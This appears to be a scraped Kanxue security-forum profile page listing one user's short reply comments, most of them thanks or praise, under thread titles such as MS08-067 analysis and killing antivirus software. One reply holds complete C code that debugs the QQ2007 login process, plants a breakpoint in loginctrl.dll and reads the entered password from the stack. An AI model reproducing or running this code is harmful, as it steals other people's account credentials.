|
[原创]My Mini 操作系统 (源码)
牛X人事,拜莫 |
|
《Windows编程循序渐进》已经上市,敬请关注(附样章)
已经好久没来了,星哥都出书了,恭喜星哥,大力支持! |
|
[注意]恭喜看雪安全网站建站九周年!(幸运奖结果公布)
祝贺祝贺,跟贴 |
|
[原创]我的第三阶段◇第一题思路
好东西,学习 |
|
[原创]MS08-067漏洞分析(20081025)
感谢分享,学习了。。。 |
|
[原创]第一阶段[第四题]我也发一下我做的吧。
强人,来学习了。 |
|
[原创]qq2008之前的视频解码---告别中关村之一
楼主去旅游吧,把钱全花完。然后从头再来 |
|
[原创]游戏修改的常用方法之三——内存补丁(asm源码详注)
三篇贴子都看了,写的很详细,幸苦了。 |
|
[下载]驱动程序设计基础专题(chm版)
非常好的东西,非常感谢 |
|
[原创]《可执行文件头的变形技术》电子版正式下载(增加了补充说明)
非常好,好好学习。谢谢楼主 |
|
[原创]完整的驱动感染.code.编译通过
大米兄厉害,PFPF,好好学习 |
|
[华章公司]《Windows编程循序渐进》宣传活动,暨第一届软件设计大赛(所有奖项已揭晓)
好家伙都来凑数了。来个110 |
|
《Windows编程循序渐进》已经上市,敬请关注(附样章)
北极星都出书了阿,强悍!一定支持! |
|
|
|
[原创]干掉KV 2008, Rising等大部分杀软
貌似跟病毒没啥区别了。不过驱动很容易兰屏的。 |
|
|
|
[原创]C++类虚函数逆向学习总结
哈哈,楼上讲的有意思,可是还是不大明白 pb开始就指着a:你望哪跑.a说:我大哥是clsA....(这句明白) clsC::的show2()触发了一个m_b(为什么触发了一个m_b呢?clsC::show2()只是一句打印阿) 麻烦再解释一下,谢谢 |
|
[原创]C++类虚函数逆向学习总结
高手们帮帮忙,解答下问题,谢谢 |
|
利用Debug Api 获得QQ2007密码
参照楼主代码,改写成了C语言版,以方便像我一样看DELPHI晕的人。代码写的不好,大家见笑了。 HWND hWnd = NULL; HANDLE QQhandle = NULL; HANDLE threadHandle = NULL; HMODULE modArr[1024] = {0}; MODULEINFO modInfo = {0}; char modName[MAX_PATH] = {0}; char password[100] ={0}; DWORD dwPid = 0; DWORD dwNumMod = 0; DWORD dwWriten = 0; DWORD code = 0xCC; DWORD oriCode = 0x8D; BOOL bContinue = FALSE; LPVOID base = NULL; DEBUG_EVENT dEvnt = {0}; CONTEXT thContext = {0}; CString strPass; hWnd = ::FindWindow(NULL,"QQ用户登录"); if(!hWnd) { AfxMessageBox("未找到QQ用户登录窗口!"); return 0; } GetWindowThreadProcessId(hWnd,&dwPid); QQhandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwPid); if(!QQhandle) { AfxMessageBox("不能打开QQ进程!"); return 0; } if(!EnumProcessModules(QQhandle,modArr,sizeof(modArr),&dwNumMod)) { AfxMessageBox("枚举QQ进程模块失败!"); return 0; } for(DWORD i=0;i<dwNumMod/(sizeof(DWORD)-1);i++) { if(GetModuleFileNameEx(QQhandle,modArr[i],modName,sizeof(modName))>0 && GetModuleInformation(QQhandle,modArr[i],&modInfo,sizeof(modInfo)) && _stricmp(modName+strlen(modName)-13,"loginctrl.dll") == 0) { if(((DWORD)modInfo.EntryPoint - (DWORD)modInfo.lpBaseOfDll) == 0x22C3A) base = (LPVOID)((DWORD)modInfo.lpBaseOfDll+0x15C90); if(((DWORD)modInfo.EntryPoint - (DWORD)modInfo.lpBaseOfDll) == 0x2043A) base = (LPVOID)((DWORD)modInfo.lpBaseOfDll+0x148A3); if(!WriteProcessMemory(QQhandle,base,&code,1,&dwWriten)) { AfxMessageBox("写入QQ进程失败!"); return 0; } if(!DebugActiveProcess(dwPid)) { AfxMessageBox("Debug QQ进程失败!"); return 0; } bContinue = TRUE; while(WaitForDebugEvent(&dEvnt,INFINITE)) { switch(dEvnt.dwDebugEventCode) { case EXIT_PROCESS_DEBUG_EVENT: AfxMessageBox("进程退出!"); break; case CREATE_PROCESS_DEBUG_EVENT: threadHandle = dEvnt.u.CreateProcessInfo.hThread; AfxMessageBox("请输入密码点登录!"); break; case EXCEPTION_DEBUG_EVENT: switch(dEvnt.u.Exception.ExceptionRecord.ExceptionCode) { case EXCEPTION_BREAKPOINT: if(dEvnt.u.Exception.ExceptionRecord.ExceptionAddress == base) { thContext.ContextFlags = CONTEXT_FULL; GetThreadContext(threadHandle,&thContext); memset(password,0,sizeof(password)); ReadProcessMemory(QQhandle,(LPVOID)(thContext.Esp+0x24),password,sizeof(password),&dwWriten); strPass.Format("QQ密码:%s",password); AfxMessageBox(strPass); WriteProcessMemory(QQhandle,base,&oriCode,1,&dwWriten); thContext.Eip = (DWORD)base; SetThreadContext(threadHandle,&thContext); break; } } } if(bContinue) ContinueDebugEvent(dEvnt.dwProcessId,dEvnt.dwThreadId,DBG_CONTINUE); else ContinueDebugEvent(dEvnt.dwProcessId,dEvnt.dwThreadId,DBG_EXCEPTION_NOT_HANDLED); } CloseHandle(QQhandle); CloseHandle(threadHandle); break; } } |
|
|
操作理由
RANk
{{ user_info.golds == '' ? 0 : user_info.golds }}
雪币
{{ experience }}
课程经验
{{ score }}
学习收益
{{study_duration_fmt}}
学习时长
基本信息
荣誉称号:
{{ honorary_title }}
能力排名:
No.{{ rank_num }}
等 级:
LV{{ rank_lv-100 }}
活跃值:
在线值:
浏览人数:{{ visits }}
最近活跃:{{ last_active_time }}
注册时间:{{ user_info.create_date_jsonfmt }}
勋章
兑换勋章
证书
证书查询 >
能力值